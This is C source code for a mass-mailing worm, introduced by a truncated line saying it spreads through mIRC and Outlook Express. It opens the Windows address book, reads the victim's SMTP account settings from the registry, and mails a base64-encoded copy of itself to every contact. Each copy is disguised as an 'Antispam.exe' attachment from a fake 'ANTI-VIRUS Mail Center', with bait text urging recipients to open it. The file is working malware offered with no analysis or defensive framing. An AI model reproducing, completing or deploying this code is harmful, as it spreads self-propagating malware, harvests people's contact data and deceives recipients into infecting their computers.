sendmail.c

This worm file is disseminated except that through MIRC and outlook Express. This worm will duplicat

#include <windows.h>
#include <windowsx.h>
#include <wininet.h>
//#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>			// Required for ToolHelp32 functions
#include <time.h>
#include <io.h>


#pragma comment(lib,"ws2_32")
#pragma warning(disable:4133)

#define PORTNUM 25	// 0x4747	// Port number  
#define MAX_PENDING_CONNECTS  4		// Maximum length of the queue 

#define CMD_HELLO	"HELO %s\r\n"
#define CMD_FROM	"MAIL FROM: <%s>\r\n"
#define CMD_TO		"RCPT TO: <%s>\r\n"
#define CMD_DATA	"DATA\r\n"
#define CMD_END		"\r\n.\r\n"
#define CMD_QUIT	"QUIT\r\n" 

UINT MailTo(HANDLE hInst, char* szTitle, char* szFile);
unsigned int Base64_Encode(char* data, unsigned int len, char* output);
int SendCmd(SOCKET wSocket, char* szStr, char* data);
int SendData(SOCKET wSocket, char* szMail);
UINT SaveMailBody(char* szAttach, char* szTarget);
long SendMail(char* szFrom, char* szTo, char* szHost, char* szMail);

/** ******************** Base64 encoding ************/

#define MAX_CHAR_PER_LINE 76
#define FILLCHAR '='
static char* cvt = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"\
		"abcdefghijklmnopqrstuvwxyz"\
		"0123456789+/";
/**
 * Encode into Base64.
 *
 * @param data the data to encode
 * @param len the length of the input
 * @param output where to write the output (*output should be NULL,
 *   is allocated)
 * @return the size of the output
 **/
unsigned int Base64_Encode(char* data, unsigned int len, char* output)
{
	unsigned int i;
	char c;
	unsigned int ret;

	/*    (*output)[ret++] = '\r'; \*/
#define CHECKLINE \
  if ( (ret % MAX_CHAR_PER_LINE) == 0) { \
	(output)[ret++] = '\n'; \
  }
	ret = 0;
	//  *output = MALLOC( (((len * 4 / 3) + 8) * (MAX_CHAR_PER_LINE+2))/
	//  				   MAX_CHAR_PER_LINE);
	for (i = 0; i < len; ++i)
	{
		c = (data[i] >> 2) & 0x3f;
		(output)[ret++] = cvt[(int) c];
	CHECKLINE;
		c = (data[i] << 4) & 0x3f;
		if (++i < len)
			c |= (data[i] >> 4) & 0x0f;
		(output)[ret++] = cvt[(int) c];
	CHECKLINE;
		if (i < len)
		{
			c = (data[i] << 2) & 0x3f;
			if (++i < len)
				c |= (data[i] >> 6) & 0x03; 	 
			(output)[ret++] = cvt[(int) c];
	  CHECKLINE;
		}
		else
		{
			++i;
			(output)[ret++] = FILLCHAR;
	  CHECKLINE;
		}    
		if (i < len)
		{
			c = data[i] & 0x3f;
			(output)[ret++] = cvt[(int) c];
	  CHECKLINE;
		}
		else
		{
			(output)[ret++] = FILLCHAR;
	  CHECKLINE;
		}
	}
	(output)[ret++] = FILLCHAR;
	return ret;
}

#pragma comment(lib, "th32")
#pragma comment(lib, "mpr")

void GetIP(char* ip);

//----------------------------------------------------------------------------
void vSetPathName(HINSTANCE hInst, char* PathName, char* FileName)
{
	char* pcFileName;
	int nFileNameLen;

	nFileNameLen = GetModuleFileName(hInst, PathName, 256);
	pcFileName = PathName + nFileNameLen;

	while (pcFileName > PathName)
	{
		if (*pcFileName == '\\' || *pcFileName == ':')
		{
			*(++pcFileName) = '\0';
			break;
		}
		nFileNameLen--;
		pcFileName--;
	}

	if ((nFileNameLen + 13) < 256)
	{
		lstrcat(PathName, FileName);
	}
	else
	{
		lstrcat(PathName, "?");
	}

	return;
}

void vGetModuleName(HINSTANCE hInst, char* PathName, char* FileName)
{
	char* pcFileName;
	int nFileNameLen;

	nFileNameLen = GetModuleFileName(hInst, PathName, 256);
	pcFileName = PathName + nFileNameLen;

	while (pcFileName > PathName)
	{
		if (*pcFileName == '\\' || *pcFileName == ':')
		{
			*pcFileName = '\0';
			break;
		}
		nFileNameLen--;
		pcFileName--;
	}

	strcpy(FileName, pcFileName + 1);
	return;
}

LONG vSetReg(HKEY hKey, char* szSubkey, char* szName, char* szValue)
{
	LONG res;
	HKEY key;
	DWORD dwSize;

	// Set Value	
	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ | KEY_WRITE, &key)) !=	ERROR_SUCCESS)
	{
		RegCreateKeyEx(hKey, szSubkey, 0L, "", REG_OPTION_NON_VOLATILE,
			KEY_ALL_ACCESS, NULL, &key, &dwSize);
	}
	res = RegSetValueEx(key, szName, 0, REG_SZ, (const unsigned char *)szValue, lstrlen(szValue));

	if (key)
		RegCloseKey(key);
	return(res);
}

LONG vGetReg(HKEY hKey, char* szSubkey, char* szName, char* szValue)
{
	LONG res;
	HKEY key;
	DWORD dwSize = 260, dwType;

	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ, &key)) ==	ERROR_SUCCESS)
	{
		res = RegQueryValueEx(key, szName, NULL, &dwType, (unsigned char *)szValue, &dwSize);
		RegCloseKey(key);
	}
	return(res);
}

LONG vDelReg(HKEY hKey, char* szSubkey, char* szName, UINT mode)
{
	LONG res;
	HKEY key;
	DWORD dwSize, dwType, dwNam;
	char szNam[260], szVal[260];

	if (mode == 1)
		goto DelVal;

	// Delete Subkey or Value
	wsprintf(szNam, "%s\\%s", szSubkey, szName);	// Check Subkey\*.*
	if ((res = RegOpenKeyEx(hKey, szNam, 0L, KEY_READ | KEY_WRITE, &key)) ==
		ERROR_SUCCESS)
	{
		dwSize = dwNam = 260;
		while ((res = RegEnumValue(key, 0, szNam, &dwNam, NULL, &dwType,
					(unsigned char*) szVal, &dwSize)) ==	ERROR_SUCCESS)
		{
			res = RegDeleteValue(key, szNam);
			dwSize = dwNam = 260;
		}
		RegCloseKey(key);
		wsprintf(szNam, "%s\\%s", szSubkey, szName);	//Check Subkey\*.*
		res = RegDeleteKey(hKey, szNam);
	}
	// Just Value
	else
		DelVal :
	if ((res = RegOpenKeyEx(hKey, szSubkey, 0L, KEY_READ | KEY_WRITE, &key)) ==
		ERROR_SUCCESS)
	{
		res = RegDeleteValue(key, szName);
	}

	if (key)
		RegCloseKey(key);
	return(res);
}

DWORD CalDWord(unsigned char* addr)
{
	DWORD val;
	_asm
	{
		mov edi,addr
		mov eax,dword ptr[edi]
		mov val,eax
	}
	return(val);
}

unsigned int CalWord(unsigned char* addr)
{
	unsigned int int_l,int_h,int_w;
	int_l = *addr;
	int_h = *(addr + 1) * 256;
	int_w = int_l + int_h;
	return(int_w);
}

/*  How to call mailwork
res=MailTo(hInst,"Anti-spam","c:\\antispam.exe")
*/

char MailHead[] =
"From: \"ANTI-VIRUS Mail Center\"\r\n"
"Subject: Please check antivirus\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed;\r\n"
"\ttype=\"multipart/alternative\";\r\n"
"\tboundary=\"====_0000111122223333_====\"\r\n"
"X-Priority: 3\r\n"
"X-MSMail-Priority: Normal\r\n"
"X-Unsent: 1\r\n\r\n"
"--====_0000111122223333_====\r\n"
"Content-Type: multipart/alternative;\r\n"
"\tboundary=\"====_3333222211110000_====\"\r\n\r\n"
"--====_3333222211110000_====\r\n"
"Content-Type: text/html;\r\n"
"\tcharset=\"iso-8859-1\"\r\n"
"Content-Transfer-Encoding: quoted-printable\r\n\r\n\r\n"
"<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>\r\n"
"open it to clean your computer!\r\n"
"</BODY></HTML>\r\n"
"--====_3333222211110000_====--\r\n\r\n"
"--====_0000111122223333_====\r\n"
"Content-Type: application/x-msdownload; name=\"Antispam.exe\"\r\n"
"Content-Transfer-Encoding: base64\r\n"
"Content-Description: Antispam.exe\r\n"
"Content-Disposition: attachment; filename=\"Antispam.exe\"\r\n"
"Content-ID: <EA4DMGBP9p>\r\n\r\n";

char* MailEnd =
{
	"\r\n\r\n--====_0000111122223333_====\r\n\r\n"
};

UINT SaveMailBody(char* szAttach, char* szTarget)
{
	HANDLE hFilea, hFilet;
	DWORD dwRes = 0, dwSize = 0;
	char* lpBufa, * lpBuft;
	int res = 1;
	HGLOBAL hMema, hMemt;

	if ((hFilet = CreateFile((LPCTSTR) szTarget, GENERIC_WRITE,
					FILE_SHARE_READ, NULL, CREATE_ALWAYS,
					FILE_ATTRIBUTE_NORMAL | FILE_FLAG_WRITE_THROUGH,
					(HANDLE) NULL)) == (HANDLE) -1)
	{
		return((UINT) - 1);
	}
	if ((hFilea = CreateFile((LPCTSTR) szAttach, GENERIC_READ,
					FILE_SHARE_READ, NULL, OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL)) == (HANDLE) -1)
	{
		return((UINT) - 2);
	}
	dwSize = GetFileSize(hFilea, &dwRes);

	hMema = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize);
	hMemt = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize * 3 / 2);
	if ((hMema == NULL) || (hMemt == NULL))
		return((UINT) - 3);
	lpBufa = (char *)GlobalLock(hMema);
	lpBuft = (char *)GlobalLock(hMemt);

	//SaveMailHead
	res = WriteFile(hFilet, MailHead, strlen(MailHead), &dwRes, NULL);

	//Base64_Encode
	ReadFile(hFilea, (LPVOID) lpBufa, dwSize, &dwRes, NULL);
	dwRes = Base64_Encode(lpBufa, dwSize, lpBuft);
	res = WriteFile(hFilet, lpBuft, dwRes, &dwSize, NULL);

	//SaveMailEnd
	res = WriteFile(hFilet, MailEnd, strlen(MailEnd), &dwRes, NULL);

	GlobalUnlock(hMema);
	GlobalFree(hMema);
	GlobalUnlock(hMemt);
	GlobalFree(hMemt);
	
	CloseHandle(hFilea);
	CloseHandle(hFilet);

	return(res);
}

long SendMail(char* szFrom, char* szTo, char* szHost, char* szMail)
{
	char szBuf[512];
	struct hostent* ip; 
	long res = 0;
	SOCKET WinSocket = INVALID_SOCKET;	// Window socket
	SOCKADDR_IN local_sin;  			// Local socket address
	int iReturn;
	WSADATA WSAData;

	if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0)
		return(-1);

	if ((WinSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
	{
		res = -2;
		goto exitw;
	}

	local_sin.sin_family = AF_INET;
	local_sin.sin_port = htons(PORTNUM); 
	if (szHost == NULL)
		strcpy(szHost, "localhost");
	if (!(ip = gethostbyname(szHost)))
	{
		res = -3;
		goto exits;
	}
	memcpy((char *) &local_sin.sin_addr.s_addr, (char *) ip->h_addr, ip->h_length);

	if (connect(WinSocket,(const struct sockaddr *) &local_sin, sizeof(local_sin)) == SOCKET_ERROR)
	{
		res = -4;
		goto exits;
	}

	iReturn = recv(WinSocket, szBuf, sizeof(szBuf), 0);
	if ((iReturn == 0) || (iReturn == SOCKET_ERROR))
	{
		res = -5;
		goto exits;
	}
	if (strncmp(szBuf, "220", 3) == 0)
	{
		SendCmd(WinSocket, CMD_HELLO, szFrom);
		SendCmd(WinSocket, CMD_FROM, szFrom);
		SendCmd(WinSocket, CMD_TO, szTo);
		SendCmd(WinSocket, CMD_DATA, NULL);
		wsprintf(szBuf, "From: %s\r\n", "QQ");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		wsprintf(szBuf, "Subject: %s\r\n", "OPEN it now!");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		SendData(WinSocket, szMail);
		SendCmd(WinSocket, CMD_END, NULL);
		SendCmd(WinSocket, CMD_QUIT, NULL);
	}

exits:
	closesocket(WinSocket);
exitw:
	WSACleanup();
	return(res);
}

int SendCmd(SOCKET wSocket, char* szStr, char* data)
{
	int len, res = 1;
	char szBuf[520], szRes[10] = "250";

	if (!stricmp(szStr, CMD_DATA))
		strcpy(szRes, "354");
	wsprintf(szBuf, szStr, data);
	if (send(wSocket, szBuf, strlen(szBuf), 0) == SOCKET_ERROR)
		return SOCKET_ERROR ;
	if ((len = recv(wSocket, szBuf, 520, 0)) == SOCKET_ERROR)
		return SOCKET_ERROR;
	*(szBuf + len) = (unsigned short)0x0000;//'\0';
	if (len < 4 || strncmp(szBuf, szRes, 3) != 0)
		res = -1;
	return (res);
}

int SendData(SOCKET wSocket, char* szMail)
{
	HANDLE hFile;
	DWORD dwRead = 0;
	char* lpBuf[520];
	int res = 1;

	if ((hFile = CreateFile((LPCTSTR) szMail, GENERIC_READ, FILE_SHARE_READ,
	NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL)) == (HANDLE) -1)
	{
		return(-1);
	}

	do
	{
		ReadFile(hFile, (LPVOID) lpBuf, 512, &dwRead, NULL);
		if (dwRead)
			if (send(wSocket, (const char *) lpBuf, LOWORD(dwRead), 0) ==	SOCKET_ERROR)
			{
				res = SOCKET_ERROR;
				goto exitq;
			}
	}
	while (dwRead);
exitq:
	CloseHandle(hFile);
	return(res);
}

UINT vGetSystem()
{
	DWORD dwVer;
	UINT res, j;

	dwVer = GetVersion();
	j = LOBYTE(LOWORD(dwVer)) * 100 + HIBYTE(LOWORD(dwVer));
	if ((j >= 395) && ((dwVer >> 16) & 0x8000))
	{
		res = 1;
	}		//Win95/98/ME
	if ((j >= 350) && (!((dwVer >> 16) & 0x8000)))
	{
		res = 1000;
	}	  //WinNT/2000/XP

	return(res);
}

UINT WhoGetMail(char* szMail, char* szValue, char* szBuf)
{
#define	ADDRBUFFER		0x10000

	char szTarg[MAX_PATH], szBook[MAX_PATH], szPath[MAX_PATH];
	char* lpBuf;
	
	WIN32_FIND_DATA fileinfo;
	HANDLE hFHandle;
	HGLOBAL hMem;
	HANDLE hFile, hMap;
	DWORD cnt, base1, maxsize, dwRes = 0, b;
	UINT res = 0, i = 0, j = 0, k = 0, uCode = 0;
	unsigned char *ptr;
	char email[128];

	GetWindowsDirectory(szPath, 256);
	if (vGetSystem() == 1)
	{
		strcat(szPath, "\\Application Data\\Microsoft\\Address Book");	//WIN98/ME
		sprintf(szBook, "%s\\*.WAB", szPath);
	}
	else
	{
		strcpy(szPath,"C:\\Documents and Settings\\Administrator\\Application Data\\Microsoft\\Address Book");	
		wsprintf(szTarg, "Software\\Microsoft\\WAB\\WAB4\\Wab File Name");

		j = 1;
		if (vGetReg(HKEY_CURRENT_USER, szTarg, "", szBook) != ERROR_SUCCESS)
		{
			sprintf(szBook, "%s\\*.WAB", szPath);j = 0;
		}
	}

	hMem = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, ADDRBUFFER);
	if (hMem == NULL)
		return((UINT) -3);
	lpBuf = (char *)GlobalLock(hMem);

	if ((hFHandle = FindFirstFile(szBook, &fileinfo)) == INVALID_HANDLE_VALUE)
	{
		res = (UINT) -1;
		goto ex01;
	}

	do
	{
		if (j == 0)
			sprintf(szBook, "%s\\%s", szPath, fileinfo.cFileName);

		hFile = CreateFile(szBook, GENERIC_READ,
					FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL, NULL);

		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE)
			return 1;
		maxsize = GetFileSize(hFile, NULL);
		hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
		if (hMap == NULL || hMap == INVALID_HANDLE_VALUE)
		{
			CloseHandle(hFile);
			return 2;
		}
		ptr = (unsigned char *) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
		if (ptr == NULL)
		{
			CloseHandle(hMap);
			CloseHandle(hFile);
			return 3;
		}
		base1 = *((DWORD *) (ptr + 0x60));
		cnt = *((DWORD *) (ptr + 0x64));
		for (i = 0; i < cnt; i++)
		{
			b = base1 + i * 68;
			memset(email, '\0', sizeof(email));
			for (j = 0; (b < maxsize) && (j < 68); j++, b += 2)
			{
				email[j] = ptr[b];
				if (ptr[b] == 0)
					break;
			}
			if (j > 0)
			res = SendMail(szMail, email, szValue, szBuf);
		}
		UnmapViewOfFile(ptr);
		CloseHandle(hMap);
		CloseHandle(hFile);
	}
	while (FindNextFile(hFHandle, &fileinfo));
	FindClose(hFHandle);

ex01:
	GlobalUnlock(hMem);
	GlobalFree(hMem);

	return(res);
}

typedef unsigned int UINT;
UINT MailWork(HANDLE hInst, char* szEml)
{
	char szValue[256], szPath[256], szMail[256];
	char szTarg[256] =
	{
		0
	};
	UINT res = 0, i;
	for (i = 0; i < 5; i++)
	{
		wsprintf(szPath,
			"Software\\Microsoft\\Internet Account Manager\\Accounts\\%08d", i);

		if (vGetReg(HKEY_CURRENT_USER, szPath, "SMTP Server", szValue) ==
			ERROR_SUCCESS)
		{
			vGetReg(HKEY_CURRENT_USER, szPath, "SMTP Email Address", szMail);
			res = WhoGetMail(szMail, szValue, szEml);
		}
	}

	return(res);
}

UINT MailTo(HANDLE hInst, char* szTitle, char* szFile)
{
	char szMail[260], szDir[260];
	UINT res = 0;
	GetWindowsDirectory(szDir, 256);
	sprintf(szMail, "%s\\temp\\%s.eml", szDir, szTitle);	
	SaveMailBody(szFile, szMail);
	res = MailWork(hInst, szMail);
	return res;
}

void spread_use_mail(HINSTANCE hInstance)
{
	char current_file[MAX_PATH];
	GetModuleFileName(NULL,current_file,MAX_PATH);
	MailTo(hInstance,"Home work for U!",current_file);
}